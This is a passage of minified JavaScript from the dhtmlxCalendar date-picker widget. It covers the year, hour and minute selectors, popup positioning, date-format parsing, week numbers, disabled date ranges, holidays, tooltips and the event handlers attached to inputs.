F=document.createElement(\"LI\");F.className=\"dhtmlxcalendar_selector_cell\";F._cell=true;C.appendChild(F)}}this.ysCont.onclick=function(w){w=w||event;if(w.type==\"touchstart\"&&w.preventDefault!=null){w.preventDefault()}w.cancelBubble=true;var q=(w.target||w.srcElement);if(q._year!=null){h._hideSelector();h._drawMonth(new Date(q._year,h._activeMonth.getMonth(),1,0,0,0,0));h._doOnSelectorChange()}};if(this.conf.touch==true){this.ysCont.ontouchstart=this.ysCont.onclick}}if(D==\"hours\"){this._hsCells={};this.hsCont=document.createElement(\"DIV\");this.hsCont.className=\"dhtmlxcalendar_area_\"+x;this._sel.firstChild.firstChild.firstChild.childNodes[1].appendChild(this.hsCont);var u=0;for(var a=0;a<4;a++){var C=document.createElement(\"UL\");C.className=\"dhtmlxcalendar_selector_line\";this.hsCont.appendChild(C);for(var E=0;E<6;E++){var F=document.createElement(\"LI\");F.innerHTML=this._fixLength(u,2);F.className=\"dhtmlxcalendar_selector_cell\";C.appendChild(F);F._hours=u;F._cell=true;this._hsCells[u++]=F}}this.hsCont.onclick=function(w){w=w||event;if(w.type==\"touchstart\"&&w.preventDefault!=null){w.preventDefault()}w.cancelBubble=true;var q=(w.target||w.srcElement);if(q._hours!=null){h._hideSelector();h._activeDate.setHours(q._hours);h._updateActiveHours();h._updateVisibleHours();h._doOnSelectorChange();h.callEvent(\"onTimeChange\",[new Date(h._activeDate.getTime())])}};if(this.conf.touch==true){this.hsCont.ontouchstart=this.hsCont.onclick}}if(D==\"minutes\"){var A=4;var v=3;var y=2;if(this._minutesInterval==1){if(this._selectorMode==1){A=2;v=3;y=1}else{A=2;v=5;y=1;x+=\"5\"}}if(this._minutesInterval==10){A=2}if(this._minutesInterval==15){A=1;v=4;x+=\"4\"}this._rsCells={};this.rsCont=document.createElement(\"DIV\");this.rsCont.className=\"dhtmlxcalendar_area_\"+x;this._sel.firstChild.firstChild.firstChild.childNodes[1].appendChild(this.rsCont);var u=0;for(var a=0;a<A;a++){var C=document.createElement(\"UL\");C.className=\"dhtmlxcalendar_selector_line\";this.rsCont.appendChild(C);for(var E=0;E<v;E++){var F=document.createElement(\"LI\");F.innerHTML=(y>1?this._fixLength(u,y):u);F.className=\"dhtmlxcalendar_selector_cell\";C.appendChild(F);F._minutes=u;F._cell=true;this._rsCells[u]=F;u+=this._minutesInterval}}this.rsCont.onclick=function(H){H=H||event;if(H.type==\"touchstart\"&&H.preventDefault!=null){H.preventDefault()}H.cancelBubble=true;var w=(H.target||H.srcElement);if(w._minutes!=null){if(h._minutesInterval==1){var q=h.getFormatedDate(\"%i\");if(h._selectorMode==1){q=w._minutes.toString()+q.charAt(1)}else{q=q.charAt(0)+w._minutes.toString()}h._activeDate.setMinutes(Number(q));h.callEvent(\"onTimeChange\",[new Date(h._activeDate.getTime())]);h._hideSelector();if(h._selectorMode==1){h._updateVisibleMinutes(true);h._selectorMode=2;h._showSelector(\"minutes\",h._sel._x,h._sel._y,\"selector_minutes\",true);h._updateActiveMinutes();return}else{h._selectorMode=1}}else{h._hideSelector();h._activeDate.setMinutes(w._minutes);h._updateActiveMinutes();h.callEvent(\"onTimeChange\",[new Date(h._activeDate.getTime())])}h._updateVisibleMinutes();h._doOnSelectorChange()}};if(this.conf.touch==true){this.rsCont.ontouchstart=this.rsCont.onclick}}this._sel._ta[D]=true};this._showSelector=function(w,q,A,v,a){if(a===true&&this._sel!=null&&this._isSelectorVisible()&&w==this._sel._t){this._hideSelector();return}if(this.conf.skin==\"dhx_terrace\"){q+=12}if(!this._sel||!this._sel._ta[w]){this._initSelector(w,v)}if(w!=this._sel._t&&this._sel._t==\"minutes\"&&this._minutesInterval==1){this.contTime.firstChild.firstChild.childNodes[3].innerHTML=this.getFormatedDate(\"%i\")}this._sel._x=q;this._sel._y=A;this._sel.style.visibility=\"hidden\";this._sel.style.display=\"\";this._selCover.style.width=this.base.offsetWidth-2+\"px\";this._selCover.style.top=this.contMonth.offsetHeight+\"px\";this._selCover.style.height=this.contDates.offsetHeight+this.contDays.offsetHeight-1+\"px\";this._selCover.style.display=\"\";this._sel._t=w;this._sel.className=\"dhtmlxcalendar_selector_obj dhtmlxcalendar_\"+v;this._sel.childNodes[0].firstChild.firstChild.childNodes[0].style.display=this._sel.childNodes[0].firstChild.firstChild.childNodes[2].style.display=(w==\"year\"?\"\":\"none\");var u=Math.max(0,q-Math.round(this._sel.offsetWidth/2));if(u+this._sel.offsetWidth>this._sel.parentNode.offsetWidth){u=this._sel.parentNode.offsetWidth-this._sel.offsetWidth}this._sel.style.left=u+\"px\";if(w==\"hours\"||w==\"minutes\"){this._sel.style.top=A-this._sel.offsetHeight+\"px\"}else{this._sel.style.top=A+\"px\"}this._sel.childNodes[1].style.width=this._sel.childNodes[0].offsetWidth+\"px\";this._sel.style.visibility=\"visible\";this._doOnSelectorShow(w)};this._doOnSelectorShow=function(a){if(a==\"month\"){this._updateActiveMonth()}if(a==\"year\"){this._updateYearsList(this._activeMonth)}if(a==\"hours\"){this._updateActiveHours()}if(a==\"minutes\"){this._updateActiveMinutes()}};this._hideSelector=function(a){if(!this._sel){return}this._sel.style.display=\"none\";this._sel.style.visible=\"hidden\";this._selCover.style.display=\"none\";if(this._sel._t==\"minutes\"&&this._minutesInterval==1){this.contTime.firstChild.firstChild.childNodes[3].innerHTML=this.getFormatedDate(\"%i\");this._unloadSelector(\"minutes\")}};this._isSelectorVisible=function(){if(!this._sel){return false}return(this._sel.style.display!=\"none\")};this._doOnSelectorChange=function(a){this.callEvent(\"onChange\",[new Date(this._activeMonth.getFullYear(),this._activeMonth.getMonth(),this._activeDate.getDate(),this._activeDate.getHours(),this._activeDate.getMinutes(),this._activeDate.getSeconds()),a===true])};this._clearSelHover=function(){if(!this._selHover){return}this._selHover.className=String(this._selHover.className.replace(/dhtmlxcalendar_selector_cell_hover/gi,\"\"));this._selHover=null};this._unloadSelector=function(u){if(!this._sel){return}if(!this._sel._ta[u]){return}if(u==\"month\"){this.msCont.onclick=this.msCont.ontouchstart=null;this._msActive=null;for(var q in this._msCells){this._msCells[q]._cell=null;this._msCells[q]._month=null;this._msCells[q].parentNode.removeChild(this._msCells[q]);this._msCells[q]=null}this._msCells=null;while(this.msCont.childNodes.length>0){this.msCont.removeChild(this.msCont.lastChild)}this.msCont.parentNode.removeChild(this.msCont);this.msCont=null}if(u==\"year\"){this.ysCont.onclick=this.ysCont.ontouchstart=null;for(var q in this._ysCells){this._ysCells[q]._cell=null;this._ysCells[q]._year=null;this._ysCells[q].parentNode.removeChild(this._ysCells[q]);this._ysCells[q]=null}this._ysCells=null;while(this.ysCont.childNodes.length>0){this.ysCont.removeChild(this.ysCont.lastChild)}this.ysCont.parentNode.removeChild(this.ysCont);this.ysCont=null}if(u==\"hours\"){this.hsCont.onclick=this.hsCont.ontouchstart=null;this._hsActive=null;for(var q in this._hsCells){this._hsCells[q]._cell=null;this._hsCells[q]._hours=null;this._hsCells[q].parentNode.removeChild(this._hsCells[q]);this._hsCells[q]=null}this._hsCells=null;while(this.hsCont.childNodes.length>0){this.hsCont.removeChild(this.hsCont.lastChild)}this.hsCont.parentNode.removeChild(this.hsCont);this.hsCont=null}if(u==\"minutes\"){this.rsCont.onclick=this.rsCont.ontouchstart=null;this._rsActive=null;for(var q in this._rsCells){this._rsCells[q]._cell=null;this._rsCells[q]._minutes=null;this._rsCells[q].parentNode.removeChild(this._rsCells[q]);this._rsCells[q]=null}this._rsCells=null;while(this.rsCont.childNodes.length>0){this.rsCont.removeChild(this.rsCont.lastChild)}this.rsCont.parentNode.removeChild(this.rsCont);this.rsCont=null}this._sel._ta[u]=null};this.setMinutesInterval=function(a){if(!(a==1||a==5||a==10||a==15)){return}this._minutesInterval=a;this._unloadSelector(\"minutes\")};this._updateActiveMonth=function(){if(typeof(this._msActive)!=\"undefined\"&&typeof(this._msCells[this._msActive])!=\"undefined\"){this._msCells[this._msActive].className=\"dhtmlxcalendar_selector_cell\"}this._msActive=this._activeMonth.getMonth();this._msCells[this._msActive].className=\"dhtmlxcalendar_selector_cell dhtmlxcalendar_selector_cell_active\"};this._updateActiveYear=function(){var a=this._activeMonth.getFullYear();if(this._ysCells[a]){this._ysCells[a].className=\"dhtmlxcalendar_selector_cell dhtmlxcalendar_selector_cell_active\"}};this._updateYearsList=function(A){for(var v in this._ysCells){this._ysCells[v]=null;delete this._ysCells[v]}var x=12*Math.floor(A.getFullYear()/12);for(var y=0;y<4;y++){for(var u=0;u<3;u++){this.ysCont.childNodes[y].childNodes[u].innerHTML=x;this.ysCont.childNodes[y].childNodes[u]._year=x;this.ysCont.childNodes[y].childNodes[u].className=\"dhtmlxcalendar_selector_cell\";this._ysCells[x++]=this.ysCont.childNodes[y].childNodes[u]}}this._updateActiveYear()};this._scrollYears=function(a){var u=(a<0?this.ysCont.firstChild.firstChild._year:this.ysCont.lastChild.lastChild._year)+a;var q=new Date(u,this._activeMonth.getMonth(),1,0,0,0,0);this._updateYearsList(q)};this._updateActiveHours=function(){if(typeof(this._hsActive)!=\"undefined\"&&typeof(this._hsCells[this._hsActive])!=\"undefined\"){this._hsCells[this._hsActive].className=\"dhtmlxcalendar_selector_cell\"}this._hsActive=this._activeDate.getHours();this._hsCells[this._hsActive].className=\"dhtmlxcalendar_selector_cell dhtmlxcalendar_selector_cell_active\"};this._updateVisibleHours=function(){this.contTime.firstChild.firstChild.childNodes[1].innerHTML=this._fixLength(this._activeDate.getHours(),2)};this._updateActiveMinutes=function(){if(this._rsActive!=null&&typeof(this._rsActive)!=\"undefined\"&&typeof(this._rsCells[this._rsActive])!=\"undefined\"){this._rsCells[this._rsActive].className=\"dhtmlxcalendar_selector_cell\"}if(this._minutesInterval==1){this._rsActive=(this.getFormatedDate(\"%i\").toString()).charAt(this._selectorMode==1?0:1)}else{this._rsActive=this._activeDate.getMinutes()}if(typeof(this._rsCells[this._rsActive])!=\"undefined\"){this._rsCells[this._rsActive].className=\"dhtmlxcalendar_selector_cell dhtmlxcalendar_selector_cell_active\"}};this._updateVisibleMinutes=function(q){var a=this._fixLength(this._activeDate.getMinutes(),2).toString();if(q==true){a=a.charAt(0)+\"<span class='dhtmlxcalendar_selected_date'>\"+a.charAt(1)+\"</span>\"}this.contTime.firstChild.firstChild.childNodes[3].innerHTML=a;if(q==true){this.contTime.firstChild.firstChild.childNodes[3].lastChild._par=true}};this._fixLength=function(a,q){while(String(a).length<q){a=\"0\"+String(a)}return a};this._dateFormat=\"\";this._dateFormatRE=null;this.setDateFormat=function(w){var v={};if(this._strToDate!=null){for(var q in this.i){if(this.i[q].input!=null&&this.i[q].input.value.length>0){var x=this._strToDate(this.i[q].input.value,this._dateFormat||this.langData[this.lang].dateformat||\"%Y-%m-%d\");if(x instanceof Date){v[q]=x}}}}this._dateFormat=w;var u=String(this._dateFormat).replace(/%[a-zA-Z]+/g,function(a){var y=a.replace(/%/,\"\");switch(y){case\"n\":case\"h\":case\"j\":case\"g\":case\"G\":return\"\\\\d{1,2}\";case\"m\":case\"d\":case\"H\":case\"i\":case\"s\":case\"y\":return\"\\\\d{2}\";case\"Y\":return\"\\\\d{4}\";case\"M\":return\"(\"+h.langData[h.lang].monthesSNames.join(\"|\").toLowerCase()+\"){1,}\";case\"F\":return\"(\"+h.langData[h.lang].monthesFNames.join(\"|\").toLowerCase()+\"){1,}\";case\"D\":return\"[a-z]{2}\";case\"a\":case\"A\":return\"AM|PM\";case\"u\":return\"\\\\d{1,6}\";case\"P\":return\"[\\\\+\\\\-]\\\\d{1,2}\\\\:\\\\d{1,2}\"}return a});this._dateFormatRE=new RegExp(u,\"i\");for(var q in v){this.i[q].input.value=this._dateToStr(v[q])}v=null};this.setDateFormat(this.langData[this.lang].dateformat||\"%Y-%m-%d\");this._updateDateStr=function(q){if(!this._dateFormatRE||!q.match(this._dateFormatRE)){return}if(q==this.getFormatedDate()){return}var a=this._strToDate(q);if(!(a instanceof Date)){return}if(this.checkEvent(\"onBeforeChange\")){if(!this.callEvent(\"onBeforeChange\",[new Date(a.getFullYear(),a.getMonth(),a.getDate(),a.getHours(),a.getMinutes(),a.getSeconds())])){if(this.i!=null&&this._activeInp!=null&&this.i[this._activeInp]!=null&&this.i[this._activeInp].input!=null){this.i[this._activeInp].input.value=this.getFormatedDate()}return}}this._nullDate=false;this._activeDate=a;this._drawMonth(this._nullDate?new Date():this._activeDate);this._updateVisibleMinutes();this._updateVisibleHours();if(this._sel&&this._isSelectorVisible()){this._doOnSelectorShow(this._sel._t)}this._doOnSelectorChange(true)};this.showMonth=function(a){if(typeof(a)==\"string\"){a=this._strToDate(a)}if(!(a instanceof Date)){return}this._drawMonth(a)};this.setFormatedDate=function(w,x,q,v){var u=this._strToDate(x,w);if(v){return u}this.setDate(u)};this.getFormatedDate=function(q,a){if(!(a&&a instanceof Date)){if(this._nullDate){return\"\"}a=new Date(this._activeDate)}return this._dateToStr(a,q)};this.getWeekNumber=function(x){if(typeof(x)==\"string\"){x=this._strToDate(x)}if(!(x instanceof Date)){return\"Invalid Date\"}if(typeof(this._ftDay)==\"undefined\"){this._ftDay=4}var F=this._wStart;var w=F+7;var E=4;var u=new Date(x.getFullYear(),0,1,0,0,0,0);var v=u.getDay();if(v==0){v=7}if(E<F){E+=7;v+=7}var C=0;if(v>=F&&v<=E){}else{C=1}var A=v-F;var D=new Date(x.getFullYear(),0,1-A+C*7,0,0,0,0);var I=604800000;var q=new Date(x.getFullYear(),x.getMonth(),x.getDate()+1,0,0,0,0);var H=Math.ceil((q.getTime()-D.getTime())/I);if(H==0){var y=new Date(x.getFullYear(),x.getMonth(),x.getDate(),0,0,0,0);var a=y.getDay()-this._wStart;if(a<0){a=a+7}y.setDate(y.getDate()-a);H=this.getWeekNumber(y)}return H};this.showWeekNumbers=function(){this.base.firstChild.className=\"dhtmlxcalendar_wn\"};this.hideWeekNumbers=function(){this.base.firstChild.className=\"\"};this.show=function(u){if(!u&&this._hasParent){this._show();return}if(typeof(u)==\"object\"&&typeof(u._dhtmlxcalendar_uid)!=\"undefined\"&&this.i[u._dhtmlxcalendar_uid]==u){this._show(u._dhtmlxcalendar_uid);return}if(typeof(u)==\"undefined\"){for(var q in this.i){if(!u){u=q}}}if(!u){return}this._show(u)};this.hide=function(){if(this._isVisible()){this._hide()}};this.isVisible=function(){return this._isVisible()};this._activeInp=null;this.pos=\"bottom\";this.setPosition=function(a,q){this._px=null;this._py=null;if(a==\"right\"||a==\"bottom\"){this.pos=a}else{this.pos=\"int\";if(typeof(a)!=\"undefined\"&&!isNaN(a)){this.base.style.left=a+\"px\";this._px=a}if(typeof(q)!=\"undefined\"&&!isNaN(q)){this.base.style.top=q+\"px\";this._py=q}this._ifrSize()}};this._show=function(A,a){if(a===true&&this._activeInp==A&&this._isVisible()){this._hide();return}this.base.style.visibility=\"hidden\";this.base.style.display=\"\";if(!A){if(this._px&&this._py){this.base.style.left=this._px+\"px\";this.base.style.top=this._py+\"px\"}else{this.base.style.left=\"0px\";this.base.style.top=\"0px\"}}else{if(this.base.className.indexOf(\"dhtmlxcalendar_in_input\")==-1){this.base.className+=\" dhtmlxcalendar_in_input\"}var v=(this.i[A].input||this.i[A].button);var q=(navigator.appVersion.indexOf(\"MSIE\")!=-1);var w=Math.max((q?document.documentElement:document.getElementsByTagName(\"html\")[0]).scrollTop,document.body.scrollTop);var u=w+(q?Math.max(document.documentElement.clientHeight||0,document.documentElement.offsetHeight||0,document.body.clientHeight||0):window.innerHeight);if(this.pos==\"right\"){this.base.style.left=this._getLeft(v)+v.offsetWidth+\"px\";this.base.style.top=Math.min(this._getTop(v),u-this.base.offsetHeight)+\"px\"}else{if(this.pos==\"bottom\"){var y=this._getTop(v)+v.offsetHeight+1;if(y+this.base.offsetHeight>u){var x=this._getTop(v)-this.base.offsetHeight;if(x>=-20){y=x}}this.base.style.left=this._getLeft(v)+\"px\";this.base.style.top=y+\"px\"}else{this.base.style.left=(this._px||0)+\"px\";this.base.style.top=(this._py||0)+\"px\"}}this._activeInp=A;v=null}this._hideSelector();this.base.style.visibility=\"visible\";this.base.style.zIndex=window.dhx4.zim.reserve(this.conf.zi);this._ifrSize();if(this._ifr){this._ifr.style.display=\"\"}this.callEvent(\"onShow\",[])};this._hide=function(){this._hideSelector();this.base.style.display=\"none\";window.dhx4.zim.clear(this.conf.zi);if(this.base.className.indexOf(\"dhtmlxcalendar_in_input\")>=0){this.base.className=this.base.className.replace(/\\s{0,}dhtmlxcalendar_in_input/gi,\"\")}this._activeInp=null;if(this._ifr){this._ifr.style.display=\"none\"}this.callEvent(\"onHide\",[])};this._isVisible=function(){return(this.base.style.display!=\"none\")};this._getLeft=function(a){return this._posGetOffset(a).left};this._getTop=function(a){return this._posGetOffset(a).top};this._posGetOffsetSum=function(a){var u=0,q=0;while(a){u=u+parseInt(a.offsetTop);q=q+parseInt(a.offsetLeft);a=a.offsetParent}return{top:u,left:q}};this._posGetOffsetRect=function(v){var y=v.getBoundingClientRect();var A=document.body;var q=document.documentElement;var a=window.pageYOffset||q.scrollTop||A.scrollTop;var w=window.pageXOffset||q.scrollLeft||A.scrollLeft;var x=q.clientTop||A.clientTop||0;var C=q.clientLeft||A.clientLeft||0;var D=y.top+a-x;var u=y.left+w-C;return{top:Math.round(D),left:Math.round(u)}};this._posGetOffset=function(a){return this[a.getBoundingClientRect?\"_posGetOffsetRect\":\"_posGetOffsetSum\"](a)};this._rangeActive=false;this._rangeFrom=null;this._rangeTo=null;this._rangeSet={};this.setInsensitiveDays=function(v){var a=this._extractDates(v);for(var u=0;u<a.length;u++){this._rangeSet[new Date(a[u].getFullYear(),a[u].getMonth(),a[u].getDate(),0,0,0,0).getTime()]=true}this._drawMonth(this._activeMonth)};this.clearInsensitiveDays=function(){this._clearRangeSet();this._drawMonth(this._activeMonth)};this._holidays={};this.setHolidays=function(u){if(u==null){this._clearHolidays()}else{if(u!=null){var a=this._extractDates(u);for(var v=0;v<a.length;v++){this._holidays[new Date(a[v].getFullYear(),a[v].getMonth(),a[v].getDate(),0,0,0,0).getTime()]=true}}}this._drawMonth(this._activeMonth)};this._extractDates=function(v){if(typeof(v)==\"string\"||v instanceof Date){v=[v]}var u=[];for(var x=0;x<v.length;x++){if(typeof(v[x])==\"string\"){var y=v[x].split(\",\");for(var a=0;a<y.length;a++){u.push(this._strToDate(y[a]))}}else{if(v[x] instanceof Date){u.push(v[x])}}}return u};this._clearRange=function(){this._rangeActive=false;this._rangeType=null;this._rangeFrom=null;this._rangeTo=null};this._clearRangeSet=function(){for(var q in this._rangeSet){this._rangeSet[q]=null;delete this._rangeSet[q]}};this._clearHolidays=function(){for(var q in this._holidays){this._holidays[q]=null;delete this._holidays[q]}};this._isOutOfRange=function(q){if(this._rangeSet[q]==true){return true}if(this._rangeActive){if(this._rangeType==\"in\"&&(q<this._rangeFrom||q>this._rangeTo)){return true}if(this._rangeType==\"out\"&&(q>=this._rangeFrom&&q<=this._rangeTo)){return true}if(this._rangeType==\"from\"&&q<this._rangeFrom){return true}if(this._rangeType==\"to\"&&q>this._rangeTo){return true}}var a=new Date(q);if(this._rangeWeek){if(this._rangeWeekData[a.getDay()]===true){return true}}if(this._rangeMonth){if(this._rangeMonthData[a.getDate()]===true){return true}}if(this._rangeYear){if(this._rangeYearData[a.getMonth()+\"_\"+a.getDate()]===true){return true}}return false};this.clearSensitiveRange=function(){this._clearRange();this._drawMonth(this._activeMonth)};this.setSensitiveRange=function(v,u,a){var q=false;if(v!=null&&u!=null){if(!(v instanceof Date)){v=this._strToDate(v)}if(!(u instanceof Date)){u=this._strToDate(u)}if(v.getTime()>u.getTime()){return}this._rangeFrom=new Date(v.getFullYear(),v.getMonth(),v.getDate(),0,0,0,0).getTime();this._rangeTo=new Date(u.getFullYear(),u.getMonth(),u.getDate(),0,0,0,0).getTime();this._rangeActive=true;this._rangeType=\"in\";q=true}if(!q&&v!=null&&u==null){if(!(v instanceof Date)){v=this._strToDate(v)}this._rangeFrom=new Date(v.getFullYear(),v.getMonth(),v.getDate(),0,0,0,0).getTime();this._rangeTo=null;if(a===true){this._rangeFrom++}this._rangeActive=true;this._rangeType=\"from\";q=true}if(!q&&v==null&&u!=null){if(!(u instanceof Date)){u=this._strToDate(u)}this._rangeFrom=null;this._rangeTo=new Date(u.getFullYear(),u.getMonth(),u.getDate(),0,0,0,0).getTime();if(a===true){this._rangeTo--}this._rangeActive=true;this._rangeType=\"to\";q=true}if(q){this._drawMonth(this._activeMonth)}};this.setInsensitiveRange=function(q,a){if(q!=null&&a!=null){if(!(q instanceof Date)){q=this._strToDate(q)}if(!(a instanceof Date)){a=this._strToDate(a)}if(q.getTime()>a.getTime()){return}this._rangeFrom=new Date(q.getFullYear(),q.getMonth(),q.getDate(),0,0,0,0).getTime();this._rangeTo=new Date(a.getFullYear(),a.getMonth(),a.getDate(),0,0,0,0).getTime();this._rangeActive=true;this._rangeType=\"out\";this._drawMonth(this._activeMonth);return}if(q!=null&&a==null){this.setSensitiveRange(null,q,true);return}if(q==null&&a!=null){this.setSensitiveRange(a,null,true);return}};this.disableDays=function(y,x){if(y==\"week\"){if(typeof(x)!=\"object\"&&typeof(x.length)==\"undefined\"){x=[x]}if(!this._rangeWeekData){this._rangeWeekData={}}for(var u in this._rangeWeekData){this._rangeWeekData[u]=false;delete this._rangeWeekData[u]}for(var w=0;w<x.length;w++){this._rangeWeekData[x[w]]=true;if(x[w]==7){this._rangeWeekData[0]=true}}this._rangeWeek=true}if(y==\"month\"){if(typeof(x)!=\"object\"&&typeof(x.length)==\"undefined\"){x=[x]}if(!this._rangeMonthData){this._rangeMonthData={}}for(var u in this._rangeMonthData){this._rangeMonthData[u]=false;delete this._rangeMonthData[u]}for(var w=0;w<x.length;w++){this._rangeMonthData[x[w]]=true}this._rangeMonth=true}if(y==\"year\"){var v=this._extractDates(x);if(!this._rangeYearData){this._rangeYearData={}}for(var u in this._rangeYearData){this._rangeYearData[u]=false;delete this._rangeYearData[u]}for(var w=0;w<v.length;w++){this._rangeYearData[v[w].getMonth()+\"_\"+v[w].getDate()]=true}this._rangeYear=true}this._drawMonth(this._activeMonth)};this.enableDays=function(a){if(a==\"week\"){this._rangeWeek=false}if(a==\"month\"){this._rangeMonth=false}if(a==\"year\"){this._rangeYear=false}this._drawMonth(this._activeMonth)};this._tipData={};this._tipTM=null;this._tipTMTime=400;this._tipEvs=false;this._tipPopup=null;this._tipCellDate=null;this._tipCellDim=null;this.setTooltip=function(v,y,A,a){var w=this._extractDates(v);for(var x=0;x<w.length;x++){var u=new Date(w[x].getFullYear(),w[x].getMonth(),w[x].getDate(),0,0,0,0).getTime();this._tipData[u]={text:y,showIcon:A,usePopup:a}}this._drawMonth(this._activeMonth)};this.clearTooltip=function(u){var v=this._extractDates(u);for(var w=0;w<v.length;w++){var a=new Date(v[w].getFullYear(),v[w].getMonth(),v[w].getDate(),0,0,0,0).getTime();this._tipData[a]=null;delete this._tipData[a]}this._drawMonth(this._activeMonth)};this._initTooltipPopup=function(){if(this._tipEvs){return}this.attachEvent(\"onMouseOver\",function(q){var a=new Date(q.getFullYear(),q.getMonth(),q.getDate(),0,0,0,0).getTime();if(this._tipData[a]!=null){if(this._tipTM){window.clearTimeout(this._tipTM)}this._tipCellDate=q;this._tipCellDim=this.getCellDimension(q);this._tipText=this._tipData[a].text;this._tipTM=window.setTimeout(this._showTooltipPopup,this._tipTMTime)}});this.attachEvent(\"onMouseOut\",this._hideTooltipPopup);this._tipEvs=true};this._showTooltipPopup=function(v,a,A,q,u){if(!h._tipPopup){h._tipPopup=new dhtmlXPopup({mode:\"top\"})}h._tipPopup.attachHTML(h._tipText);h._tipPopup.show(h._tipCellDim.x,h._tipCellDim.y,h._tipCellDim.w,h._tipCellDim.h);h.callEvent(\"onPopupShow\",[h._tipCellDate])};this._hideTooltipPopup=function(){if(this._tipTM){window.clearTimeout(this._tipTM)}if(this._tipPopup!=null&&this._tipPopup.isVisible()){this._tipPopup.hide();this.callEvent(\"onPopupHide\",[this._tipCellDate])}};this.getPopup=function(){return this._tipPopup};this.getCellDimension=function(v){if(typeof(v)==\"string\"){v=this._strToDate(v)}if(!(v instanceof Date)){return null}var x=new Date(v.getFullYear(),v.getMonth(),v.getDate(),0,0,0,0).getTime();var u=null;for(var y=0;y<this.contDates.childNodes.length;y++){for(var a=0;a<this.contDates.childNodes[y].childNodes.length;a++){var A=this.contDates.childNodes[y].childNodes[a];if(A._date!=null&&A._date.getTime()==x){u={x:this._getLeft(A),y:this._getTop(A),w:A.offsetWidth,h:A.offsetHeight}}A=null}}return u};this._updateFromInput=function(a){if(this._nullInInput&&((a.value).replace(/\\s/g,\"\")).length==0){if(this.checkEvent(\"onBeforeChange\")){if(!this.callEvent(\"onBeforeChange\",[null])){if(this.i!=null&&this._activeInp!=null&&this.i[this._activeInp]!=null&&this.i[this._activeInp].input!=null){this.i[this._activeInp].input.value=this.getFormatedDate()}return}}this.setDate(null)}else{this._updateDateStr(a.value)}a=null};this._doOnClick=function(q){q=q||event;var a=(q.target||q.srcElement);if(a._dhtmlxcalendar_uid&&a._dhtmlxcalendar_uid!=h._activeInp&&h._isVisible()&&h._activeInp){h._hide();return}if(!a._dhtmlxcalendar_uid||!h.i[a._dhtmlxcalendar_uid]){if(h._isSelectorVisible()){h._hideSelector()}else{if(!h._hasParent&&h._isVisible()){h._hide()}}}};this._doOnKeyDown=function(a){a=a||event;if(a.keyCode==27||a.keyCode==13){if(h._isSelectorVisible()){h._hideSelector()}else{if(h._isVisible()&&!h._hasParent){h._hide()}}}};this._doOnInpClick=function(q){q=q||event;if(q.type==\"touchstart\"&&q.preventDefault!=null){q.preventDefault()}var a=(q.target||q.srcElement);if(!a._dhtmlxcalendar_uid){return}if(!h._listenerEnabled){h._updateFromInput(a)}h._show(a._dhtmlxcalendar_uid,true)};this._doOnInpKeyUp=function(q){q=q||event;var a=(q.target||q.srcElement);if(q.keyCode==13||!a._dhtmlxcalendar_uid){return}if(!h._listenerEnabled){h._updateFromInput(a)}};this._doOnBtnClick=function(q){q=q||event;if(q.type==\"touchstart\"&&q.preventDefault!=null){q.preventDefault()}var a=(q.target||q.srcElement);if(!a._dhtmlxcalendar_uid){return}if(h.i[a._dhtmlxcalendar_uid].input!=null){h._updateFromInput(h.i[a._dhtmlxcalendar_uid].input)}h._show(a._dhtmlxcalendar_uid,true)};this._doOnUnload=function(){if(h&&h.unload){h.unload()}};if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"click\",h._doOnClick,false);window.addEventListener(\"keydown\",h._doOnKeyDown,false);window.addEventListener(\"unload\",h._doOnUnload,false);if(this.conf.touch==true){document.body.addEventListener(\"touchstart\",h._doOnClick,false)}}else{document.body.attachEvent(\"onclick\",h._doOnClick);document.body.attachEvent(\"onkeydown\",h._doOnKeyDown);window.attachEvent(\"onunload\",h._doOnUnload)}this.attachObj=function(u){var q=window.dhx4.newId();if(typeof(u)==\"string\"){this.i[q]={input:document.getElementById(u)}}else{if(typeof(u.tagName)!=\"undefined\"){this.i[q]={input:u}}else{if(typeof(u)==\"object\"&&(u.input!=null||u.button!=null)){this.i[q]={};if(u.input!=null){this.i[q].input=(typeof(u.input)==\"string\"?document.getElementById(u.input):u.input)}if(u.button!=null){this.i[q].button=(typeof(u.button)==\"string\"?document.getElementById(u.button):u.button)}}}}this._attachEventsToObject(q);return q};this.detachObj=function(v){var u=null;if(this.i[v]!=null){u=v}else{if(typeof(v)==\"string\"){v=document.getElementById(v);u=v._dhtmlxcalendar_uid}else{if(typeof(v.tagName)!=\"undefined\"){u=v._dhtmlxcalendar_uid}else{if(typeof(v)==\"object\"&&(v.input!=null||v.button!=null)){if(u==null&&v.input!=null){u=(typeof(v.input)==\"string\"?document.getElementById(v.input):v.input)._dhtmlxcalendar_uid}if(u==null&&v.button!=null){u=(typeof(v.button)==\"string\"?document.getElementById(v.button):v.button)._dhtmlxcalendar_uid}}}}}if(u!=null&&this.i[u]!=null){this._detachEventsFromObject(u);for(var q in this.i[q]){this.i[u][q]._dhtmlxcalendar_uid=null;this.i[u][q]=null;delete this.i[u][q]}this.i[u]=null;delete this.i[u];return true}return false};this._attachEventsToObject=function(q){if(this.i[q].button!=null){this.i[q].button._dhtmlxcalendar_uid=q;if(typeof(window.addEventListener)==\"function\"){this.i[q].button.addEventListener(\"click\",h._doOnBtnClick,false);if(this.conf.touch==true){this.i[q].button.addEventListener(\"touchstart\",h._doOnBtnClick,false)}}else{this.i[q].button.attachEvent(\"onclick\",h._doOnBtnClick)}}else{if(this.i[q].input!=null){this.i[q].input._dhtmlxcalendar_uid=q;if(typeof(window.addEventListener)==\"function\"){this.i[q].input.addEventListener(\"click\",h._doOnInpClick,false);this.i[q].input.addEventListener(\"keyup\",h._doOnInpKeyUp,false);if(this.conf.touch==true){this.i[q].input.addEventListener(\"touchstart\",h._doOnInpClick,false)}}else{this.i[q].input.attachEvent(\"onclick\",h._doOnInpClick);this.i[q].input.attachEvent(\"onkeyup\",h._doOnInpKeyUp)}}}};this._detachEventsFromObject=function(q){if(this.i[q].button!=null){if(typeof(window.addEventListener)==\"function\"){this.i[q].button.removeEventListener(\"click\",h._doOnBtnClick,false);if(this.conf.touch==true){this.i[q].button.removeEventListener(\"touchstart\",h._doOnBtnClick,false)}}else{this.i[q].button.detachEvent(\"onclick\",h._doOnBtnClick)}}else{if(this.i[q].input!=null){if(typeof(window.addEventListener)==\"function\"){this.i[q].input.removeEventListener(\"click\",h._doOnInpClick,false);this.i[q].input.removeEventListener(\"keyup\",h._doOnInpKeyUp,false);if(this.conf.touch==true){this.i[q].input.removeEventListener(\"touchstart\",h._doOnInpClick,false)}}else{this.i[q].input.detachEvent(\"onclick\",h._doOnInpClick);this.i[q].